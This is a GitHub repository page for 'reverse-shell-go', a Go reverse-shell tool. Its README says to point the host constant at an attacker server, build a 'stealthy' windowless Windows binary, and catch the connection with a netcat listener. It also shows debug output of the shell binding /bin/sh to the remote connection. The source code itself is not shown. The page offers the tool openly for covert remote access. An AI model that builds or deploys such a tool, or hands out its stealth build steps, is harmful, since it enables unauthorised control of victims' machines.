Skip to content

Orf1/reverse-shell-go

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

14 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

reverse-shell-go

Simple reverse shell written in go

To use:

  • Set the host address near the top to your server. const host = "127.0.0.1:1234
  • Build using go build main.go
  • Stealthy version GOOS=windows GOARCH=amd64 go build -ldflags="-s -w -H=windowsgui" main.go (Windows target, build from macos)
  • Start listening on the server using netcat -l -p 8080

Example debug output

github.com/orf1/reverse-shell-go
attempting to establish tcp connection with server
dial tcp 127.0.0.1:8080: connect: connection refused
attempting to establish tcp connection with server
connection established
detecting operating system
detected mac or linux, using /bin/sh
binding standard interfaces to connection
shell opened

Screen Shot 2022-08-08 at 2 47 48 PM

About

Simple reverse shell written in go

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages